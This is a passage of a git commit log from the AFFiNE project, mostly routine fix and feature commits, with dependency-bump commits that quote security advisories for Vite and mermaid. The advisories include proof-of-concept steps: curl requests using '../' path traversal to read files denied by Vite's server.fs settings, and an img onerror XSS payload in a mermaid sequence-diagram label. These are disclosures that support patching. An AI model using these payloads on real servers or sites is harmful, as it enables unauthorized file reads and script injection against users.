Files starting with the same name with the public directory were served
bypassing the `server.fs` settings.

### Impact
Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[`server.host` config
option](https://vitejs.dev/config/server-options.html#server-host))
- uses [the public directory
feature](https://vite.dev/guide/assets.html#the-public-directory)
(enabled by default)
- a symlink exists in the public directory

### Details
The
[servePublicMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L79))
function is in charge of serving public files from the server. It
returns the
[viteServePublicMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L106))
function which runs the needed tests and serves the page. The
viteServePublicMiddleware function [checks if the publicFiles variable
is
defined](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L111)),
and then uses it to determine if the requested page is public. In the
case that the publicFiles is undefined, the code will treat the
requested page as a public page, and go on with the serving function.
[publicFiles may be undefined if there is a symbolic link anywhere
inside the public
directory](9719497ade/packages/vite/src/node/publicDir.ts (L21)).
In that case, every requested page will be passed to the public serving
function. The serving function is based on the
[sirv](https://redirect.github.com/lukeed/sirv) library. Vite patches
the library to add the possibility to test loading access to pages, but
when the public page middleware [disables this
functionality](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L89))
since public pages are meant to be available always, regardless of
whether they are in the allow or deny list.

In the case of public pages, the serving function is [provided with the
path to the public
directory](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L85))
as a root directory. The code of the sirv library [uses the join
function to get the full path to the requested
file](d061616827/packages/sirv/index.mjs (L42)).
For example, if the public directory is "/www/public", and the requested
file is "myfile", the code will join them to the string
"/www/public/myfile". The code will then pass this string to the
normalize function. Afterwards, the code will [use the string's
startsWith
function](d061616827/packages/sirv/index.mjs (L43))
to determine whether the created path is within the given directory or
not. Only if it is, it will be served.

Since [sirv trims the trailing slash of the public
directory](d061616827/packages/sirv/index.mjs (L119)),
the string's startsWith function may return true even if the created
path is not within the public directory. For example, if the server's
root is at "/www", and the public directory is at "/www/p", if the
created path will be "/www/private.txt", the startsWith function will
still return true, because the string "/www/private.txt" starts with 
"/www/p". To achieve this, the attacker will use ".." to ask for the
file "../private.txt". The code will then join it to the "/www/p"
string, and will receive "/www/p/../private.txt". Then, the normalize
function will return "/www/private.txt", which will then be passed to
the startsWith function, which will return true, and the processing of
the page will continue without checking the deny list (since this is the
public directory middleware which doesn't check that).

### PoC
Execute the following shell commands:

```
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
```

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/private.txt'`

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

`curl -v --path-as-is 'http://localhost:5173/../private.txt'`

You will receive the contents of private.txt.

### Related links
-
f0113f3f82

####
[CVE-2025-58752](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3)

### Summary
Any HTML files on the machine were served regardless of the `server.fs`
settings.

### Impact

Only apps that match the following conditions are affected:

- explicitly exposes the Vite dev server to the network (using --host or
[server.host config
option](https://vitejs.dev/config/server-options.html#server-host))
- `appType: 'spa'` (default) or `appType: 'mpa'` is used

This vulnerability also affects the preview server. The preview server
allowed HTML files not under the output directory to be served.

### Details
The
[serveStaticMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L123))
function is in charge of serving static files from the server. It
returns the
[viteServeStaticMiddleware](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L136))
function which runs the needed tests and serves the page. The
viteServeStaticMiddleware function [checks if the extension of the
requested file is
".html"](9719497ade/packages/vite/src/node/server/middlewares/static.ts (L144)).
If so, it doesn't serve the page. Instead, the server will go on to the
next middlewares, in this case
[htmlFallbackMiddleware](9719497ade/packages/vite/src/node/server/middlewares/htmlFallback.ts (L14)),
and then to
[indexHtmlMiddleware](9719497ade/packages/vite/src/node/server/middlewares/indexHtml.ts (L438)).
These middlewares don't perform any test against allow or deny rules,
and they don't make sure that the accessed file is in the root directory
of the server. They just find the file and send back its contents to the
client.

### PoC
Execute the following shell commands:

```
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
```

Then, in a different shell, run the following command:

`curl -v --path-as-is
'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'`

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the
project, but are in the deny list (or not in the allow list). Test that
by stopping the running server (CTRL+C), and running the following
commands in the server's shell:

```
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

```

Then, in a different shell, run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'`

You will receive a 403 HTTP Response,  because everything in the
secret_files directory is denied.

Now in the same shell run the following command:

`curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'`

You will receive the contents of secret_files/secret.html.

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v6.3.6`](https://redirect.github.com/vitejs/vite/releases/tag/v6.3.6)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v6.3.5...v6.3.6)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v6.3.6/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS45Ny4xMCIsInVwZGF0ZWRJblZlciI6IjQxLjk3LjEwIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-09-14 01:55:54 +08:00
dependabot[bot]
e158e11608 chore: bump sha.js from 2.4.11 to 2.4.12 (#13560)
Bumps [sha.js](https://github.com/crypto-browserify/sha.js) from 2.4.11
to 2.4.12.
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/browserify/sha.js/blob/master/CHANGELOG.md">sha.js's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/browserify/sha.js/compare/v2.4.11...v2.4.12">v2.4.12</a>
- 2025-07-01</h2>
<h3>Commits</h3>
<ul>
<li>[eslint] switch to eslint <a
href="7acadfbd3a"><code>7acadfb</code></a></li>
<li>[meta] add <code>auto-changelog</code> <a
href="b46e7116eb"><code>b46e711</code></a></li>
<li>[eslint] fix package.json indentation <a
href="df9d521e16"><code>df9d521</code></a></li>
<li>[Tests] migrate from travis to GHA <a
href="c43c64adc6"><code>c43c64a</code></a></li>
<li>[Fix] support multi-byte wide typed arrays <a
href="f2a258e9f2"><code>f2a258e</code></a></li>
<li>[meta] reorder package.json <a
href="d8d77c0a72"><code>d8d77c0</code></a></li>
<li>[meta] add <code>npmignore</code> <a
href="35aec35c66"><code>35aec35</code></a></li>
<li>[Tests] avoid console logs <a
href="73e33ae0ca"><code>73e33ae</code></a></li>
<li>[Tests] fix tests run in batch <a
href="262913006e"><code>2629130</code></a></li>
<li>[Tests] drop node requirement to 0.10 <a
href="00c7f234aa"><code>00c7f23</code></a></li>
<li>[Dev Deps] update <code>buffer</code>,
<code>hash-test-vectors</code>, <code>standard</code>,
<code>tape</code>, <code>typedarray</code> <a
href="92b5de5f67"><code>92b5de5</code></a></li>
<li>[Tests] drop node requirement to v3 <a
href="9b5eca80fd"><code>9b5eca8</code></a></li>
<li>[meta] set engines to <code>&amp;gt;= 4</code> <a
href="807084c5c0"><code>807084c</code></a></li>
<li>Only apps should have lockfiles <a
href="c72789c7a1"><code>c72789c</code></a></li>
<li>[Deps] update <code>inherits</code>, <code>safe-buffer</code> <a
href="5428cfc6f7"><code>5428cfc</code></a></li>
<li>[Dev Deps] update <code>@ljharb/eslint-config</code> <a
href="2dbe0aab41"><code>2dbe0aa</code></a></li>
<li>update README to reflect LICENSE <a
href="8938256dbb"><code>8938256</code></a></li>
<li>[Dev Deps] add missing peer dep <a
href="d52889688c"><code>d528896</code></a></li>
<li>[Dev Deps] remove unused <code>buffer</code> dep <a
href="94ca7247f4"><code>94ca724</code></a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="eb4ea2fd3d"><code>eb4ea2f</code></a>
v2.4.12</li>
<li><a
href="d8d77c0a72"><code>d8d77c0</code></a>
[meta] reorder package.json</li>
<li><a
href="df9d521e16"><code>df9d521</code></a>
[eslint] fix package.json indentation</li>
<li><a
href="35aec35c66"><code>35aec35</code></a>
[meta] add <code>npmignore</code></li>
<li><a
href="d52889688c"><code>d528896</code></a>
[Dev Deps] add missing peer dep</li>
<li><a
href="b46e7116eb"><code>b46e711</code></a>
[meta] add <code>auto-changelog</code></li>
<li><a
href="94ca7247f4"><code>94ca724</code></a>
[Dev Deps] remove unused <code>buffer</code> dep</li>
<li><a
href="2dbe0aab41"><code>2dbe0aa</code></a>
[Dev Deps] update <code>@ljharb/eslint-config</code></li>
<li><a
href="73e33ae0ca"><code>73e33ae</code></a>
[Tests] avoid console logs</li>
<li><a
href="f2a258e9f2"><code>f2a258e</code></a>
[Fix] support multi-byte wide typed arrays</li>
<li>Additional commits viewable in <a
href="https://github.com/crypto-browserify/sha.js/compare/v2.4.11...v2.4.12">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~ljharb">ljharb</a>, a new releaser for
sha.js since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=sha.js&package-manager=npm_and_yarn&previous-version=2.4.11&new-version=2.4.12)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/toeverything/AFFiNE/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-07 00:17:51 +08:00
renovate[bot]
18faaa38a0 chore: bump up mermaid version to v10.9.4 [SECURITY] (#13518)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [mermaid](https://redirect.github.com/mermaid-js/mermaid) | [`10.9.3`
-> `10.9.4`](https://renovatebot.com/diffs/npm/mermaid/10.9.3/10.9.4) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/mermaid/10.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mermaid/10.9.3/10.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-54881](https://redirect.github.com/mermaid-js/mermaid/security/advisories/GHSA-7rqq-prvp-x9jh)

### Summary
In the default configuration of mermaid 11.9.0, user supplied input for
sequence diagram labels is passed to `innerHTML` during calculation of
element size, causing XSS.

### Details
Sequence diagram node labels with KaTeX delimiters are passed through
`calculateMathMLDimensions`. This method passes the full label to
`innerHTML` which allows allows malicious users to inject arbitrary HTML
and cause XSS when mermaid-js is used in it's default configuration
(with KaTeX support enabled).

The vulnerability lies here:

```ts
export const calculateMathMLDimensions = async (text: string, config: MermaidConfig) => {
  text = await renderKatex(text, config);
  const divElem = document.createElement('div');
  divElem.innerHTML = text; // XSS sink, text has not been sanitized.
  divElem.id = 'katex-temp';
  divElem.style.visibility = 'hidden';
  divElem.style.position = 'absolute';
  divElem.style.top = '0';
  const body = document.querySelector('body');
  body?.insertAdjacentElement('beforeend', divElem);
  const dim = { width: divElem.clientWidth, height: divElem.clientHeight };
  divElem.remove();
  return dim;
};
```

The `calculateMathMLDimensions` method was introduced in
5c69e5fdb004a6d0a2abe97e23d26e223a059832 two years ago, which was
released in [Mermaid
10.9.0](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.0).

### PoC
Render the following diagram and observe the modified DOM.

```
sequenceDiagram
    participant A as Alice<img src="x" onerror="document.write(`xss on ${document.domain}`)">$$\\text{Alice}$$
    A->>John: Hello John, how are you?
    Alice-)John: See you later!
```

Here is a PoC on mermaid.live:
https://mermaid.live/edit#pako:eNpVUMtOwzAQ_BWzyoFKaRTyaFILiio4IK7ckA-1km1iKbaLY6spUf4dJ0AF68uOZ2dm7REqXSNQ6PHDoarwWfDGcMkUudaJGysqceLKkj3hPdl3osJ7IRvSm-qBwcCAaIXGaONRrSsnUdnobITF28PQ954lwXglai25UNNhxWAXBMyXxcGOi-3kL_5k79e73atuFSUv2HWazH1IWn0m3CC5aPf4b3p2WK--BW-4DJCOWzQ3TM0HQmiMqIFa4zAEicZv4iGMsw0D26JEBtS3NR656ywDpiYv869_11r-Ko12TQv0yLveI3eqfcjP111HUNVonrRTFuhdsVgAHWEAmuRxlG7SuEzKMi-yJAnhAjTLIk_EcbFJtuk2y9MphM8lM47KIp--AOZghtU

### Impact
XSS on all sites that use mermaid and render user supplied diagrams
without further sanitization.

### Remediation
The value of the `text` argument for the `calculateMathMLDimensions`
method needs to be sanitized before getting passed on to `innerHTML`.

---

### Release Notes

<details>
<summary>mermaid-js/mermaid (mermaid)</summary>

###
[`v10.9.4`](https://redirect.github.com/mermaid-js/mermaid/releases/tag/v10.9.4)

[Compare
Source](https://redirect.github.com/mermaid-js/mermaid/compare/v10.9.3...v10.9.4)

This release backports the fix for GHSA-7rqq-prvp-x9jh from
[v11.10.0](https://redirect.github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.10.0),
preventing a potential XSS attack in labels in sequence diagrams.

See:
[`9d68517`](9d685178d2)
(on `main` branch)
See:
[`7509b06`](7509b066f1)
(backported commit)

**Full Changelog**:
<https://github.com/mermaid-js/mermaid/compare/v10.9.3...v10.9.4>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS44MS4yIiwidXBkYXRlZEluVmVyIjoiNDEuODIuNyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-25 14:37:24 +08:00
DarkSky
e2156ea135 feat(server): integrate blob to context (#13491) 2025-08-15 17:35:45 +08:00
L-Sun
795bfb2f95 fix(ios): enable horizontal scroll for database (#13494)
Close
[BS-3625](https://linear.app/affine-design/issue/BS-3625/移动端database-table-view无法横向滚动)

#### PR Dependency Tree


* **PR #13494** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved iOS mobile table view scrolling: horizontal overflow is no
longer forcibly hidden, preventing clipped content and enabling smoother
horizontal navigation.
* Users can now access columns that previously appeared truncated on
narrow screens.
  * Vertical scrolling behavior remains unchanged.
  * No impact on non‑iOS devices.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 06:12:33 +00:00
L-Sun
0710da15c6 fix(editor): hook of database is invoked repeatedly (#13493)
Close
[AF-2789](https://linear.app/affine-design/issue/AF-2789/安卓客户端日期没了)

#### PR Dependency Tree


* **PR #13493** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved editing mode stability in mobile Kanban cells by preventing
redundant enter/exit transitions, resulting in smoother interactions and
reduced flicker.
* Enhanced mobile Table cells to avoid duplicate editing state changes,
minimizing unnecessary updates and improving responsiveness.
* Overall, editing transitions are now idempotent across affected mobile
views, reducing visual jitter and improving performance during edit
operations.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 06:09:34 +00:00
Peng Xiao
693ae9c834 fix(core): pasted code artifact should be inserted as codeblock (#13492)
fix AI-417

#### PR Dependency Tree


* **PR #13492** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Copying code snippets now uses a rich format for improved paste
fidelity in compatible editors.
* Preserves code block formatting and language when pasted, reducing
manual cleanup.
* Continues to support plain text and HTML paste for broad
compatibility.
  * Works more reliably when moving content within the app.
  * Existing copy confirmation remains unchanged.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-15 05:28:44 +00:00
L-Sun
9d38f79395 fix(editor): deactivate editor when selection out of editor (#13490)
Close
[AI-415](https://linear.app/affine-design/issue/AI-415/code-artifact-复制更好的支持code-block和插入正文)

#### PR Dependency Tree


* **PR #13490** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Editor now deactivates when text selection moves outside the app,
preventing unintended interactions.
* Better handling when selection changes to external content, reducing
cases where the editor stayed active incorrectly.

* **Stability**
* Improved reliability around selection, focus, and visibility changes
to avoid accidental edits or actions.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->


#### PR Dependency Tree


* **PR #13490** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-08-14 14:49:53 +08:00
L-Sun
680f3b3006 feat(editor): impl shape text with dom renderer (#13471)
#### PR Dependency Tree


* **PR #13464**
  * **PR #13465**
    * **PR #13471** 👈
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* DOM rendering added for groups, mind maps and connectors so group
titles/outlines and mindmap connectors are visible on canvas.
* Shapes now support right-to-left text with proper vertical alignment.
* **Improvements**
  * Connector labels scale with viewport zoom for crisper display.
* Group-related selections (including nested groups) now update visuals
consistently.
* **Performance**
* Reduced DOM churn and fewer redraws during rendering and selection
changes.
* **Refactor**
* Renderer import/export surfaces consolidated with no user-facing
behavior changes.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 04:29:13 +00:00
Peng Xiao
fbf234f9fa fix(core): code artifact copy should retain the original format (#13489)
fix AI-415

#### PR Dependency Tree


* **PR #13489** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved code block stability to prevent layout shifts and overlapping
during syntax highlighting.
  * Ensured consistent height and alignment for code snippets.

* **Style**
* Refined code block appearance for clearer, more polished presentation.

* **Chores**
* Internal adjustments to support more reliable rendering of highlighted
code.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 04:24:28 +00:00
L-Sun
e9ede5213e fix(core): incorrect position of mobile notification card (#13485)
#### PR Dependency Tree


* **PR #13485** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Improved mobile toast notification layout for better responsiveness
across screen sizes.
* Replaced fixed left alignment with dynamic edge offsets, ensuring
consistent spacing near screen edges.
* Removed forced centering and rigid width constraints to reduce
clipping and overlap on narrow viewports.
  * Visual behavior only; no changes to interaction or functionality.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 02:23:47 +00:00
德布劳外 · 贾贵
aea6f81937 fix(core): remove attachment chip failed (#13468)
> CLOSE PD-2697

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Removing an attachment chip now also removes duplicate attachments
with the same source, preventing duplicate attachments in the AI chat
chip list.
* Removing a selected context chip now also removes duplicate selected
contexts with the same identifier, preventing duplicate context chips.
* Attachments from different sources and chips of other types (document,
file, tag, collection) remain unaffected.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 02:15:48 +00:00
L-Sun
66c2bf3151 fix(editor): incorrect z-index in dom renderer (#13465)
#### PR Dependency Tree


* **PR #13464**
  * **PR #13465** 👈
    * **PR #13471**
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved stacking order across canvas elements (shapes, connectors,
brush, highlighter), reducing unexpected overlap.
* Corrected z-index application for placeholders and fully rendered
elements to ensure consistent layering during edits.
* **Refactor**
* Centralized z-index handling for canvas elements to provide
predictable, uniform layering behavior across the app.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-14 11:10:32 +08:00
L-Sun
aa052096c1 feat(editor): brush and highlighter dom renderer (#13464)
#### PR Dependency Tree


* **PR #13464** 👈
  * **PR #13465**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* DOM-based SVG rendering for Brush and Highlighter with zoom, rotation,
layering and improved visualization.

* **Refactor**
* Consolidated renderer exports into a single entry point for simpler
integration.

* **Chores**
* Updated view registrations to include the new DOM renderer extensions.
  * Improved highlighter sizing consistency based on serialized bounds.

* **Revert**
  * Removed highlighter renderer registration from the shape module.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->


#### PR Dependency Tree


* **PR #13464** 👈
  * **PR #13465**
    * **PR #13471**
      * **PR #13472**
        * **PR #13473**

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
2025-08-14 02:08:36 +00:00
Wu Yue
c2f3018eb7 fix(core): missing lit component props (#13482)
Close [AI-413](https://linear.app/affine-design/issue/AI-413)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Chat messages now scroll vertically, preventing content from being cut
off.
* Chat actions are no longer displayed or fetched, reducing unnecessary
loading.
* Peek view chat composer behavior is aligned with the main chat,
ensuring consistent feature availability across views.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 08:57:51 +00:00
DarkSky
dd9d8adbf8 fix(server): multi step tool call (#13486)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Enforced a consistent step limit for AI responses across providers,
preventing excessively long generations in both text and streaming modes
for more predictable results.

- Refactor
- Centralized step limit configuration into a shared provider, ensuring
uniform behavior across providers and simplifying future maintenance.
- Standardized application of step limits in text generation and
streaming flows to align provider behavior and improve overall
reliability.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 08:10:42 +00:00
L-Sun
7e0de251cb fix(editor): remove patch of key-binding in andriod (#13483)
In recent versions of Android (or maybe webview), the
`KeyboardEvent.key` for the backspace key now has the correct value.
This PR remove the patch since it will trigger two delete actions when
press backspace at the first character of paragraph"

Related PR https://github.com/toeverything/AFFiNE/issues/10523

#### PR Dependency Tree


* **PR #13483** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Refactor**
* Streamlined keyboard shortcut handling for greater consistency across
platforms.
* Reduced overhead by consolidating event bindings; no change to
expected shortcut behavior for end-users.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 06:34:07 +00:00
L-Sun
5c73fc9767 chore(editor): adjust notification of database editing (#13484)
#### PR Dependency Tree


* **PR #13484** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

- Bug Fixes
- Reduced repeated mobile editing notifications; the notice now appears
once and only reappears after you dismiss it.
- More consistent notification behavior on mobile for a less disruptive
editing experience.

- Refactor
- Streamlined internal event handling to improve reliability and reduce
potential listener leaks, resulting in smoother interactions.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 06:33:38 +00:00
Peng Xiao
a0c22b7d06 fix(core): manage payment details entry adjustment (#13481)
#### PR Dependency Tree


* **PR #13481** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- Bug Fixes
- The “Update payment method” prompt now appears only when your
subscription is past due.
- Payment Method section now shows whenever a paid plan record exists
(loading placeholders unchanged).
- Action button styling adjusts for past-due subscriptions (uses the
alternate/secondary style).
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 04:42:29 +00:00
DarkSky
072557eba1 feat(server): adapt gpt5 (#13478)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- New Features
- Added GPT-5 family and made GPT-5/-mini the new defaults for Copilot
scenarios and prompts.

- Bug Fixes
- Improved streaming chunk formats and reasoning/text semantics,
consistent attachment mediaType handling, and more reliable reranking
via log-prob handling.

- Refactor
- Unified maxOutputTokens usage; removed per-call step caps and migrated
several tools to a unified inputSchema shape.

- Chores
- Upgraded AI SDK dependencies and bumped an internal dependency
version.

- Tests
- Updated mocks and tests to reference GPT-5 variants and new stream
formats.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-13 02:32:15 +00:00
Peng Xiao
fda7e9008d fix(core): show past due in ui (#13477)
fix CLOUD-238, CLOUD-239

#### PR Dependency Tree


* **PR #13477** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Payment method management is now always available directly within AI
and Pro plan cards.
* **Bug Fixes**
* Past-due subscriptions are now included in subscription status
results, ensuring they appear in billing views.
* **Style**
* Plan actions are moved inline within each plan’s description for a
cleaner, more compact layout.
  * Actions are grouped horizontally with improved spacing.
  * Minor class name and spacing tweaks for consistent styling.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 09:00:32 +00:00
Jachin
678dc15365 feat(editor): add mermaid code preview (#13456)
<img width="971" height="681" alt="iShot_2025-08-10_14 29 01"
src="https://github.com/user-attachments/assets/eff3e6d5-3129-42ac-aceb-994c18f675ab"
/>


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Mermaid diagram previews for code blocks with interactive zoom, pan,
and reset controls.
* Improved rendering feedback with loading, error states, retry
behavior, and fallback messaging.

* **Chores**
  * Added Mermaid as a frontend dependency to enable diagram rendering.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: L-Sun <zover.v@gmail.com>
2025-08-12 03:00:01 +00:00
Jachin
ef99c376ec fix(editor): fix import zip with cjk filename (#13458)
fix #12721 

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Improved handling of non‑ASCII filenames when unzipping archives: the
extractor now tries alternative encodings and validates results so
filenames are preserved and displayed correctly after extraction. This
change reduces corrupt or garbled names while keeping existing
extraction behavior otherwise unchanged.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2025-08-12 02:51:23 +00:00
DarkSky
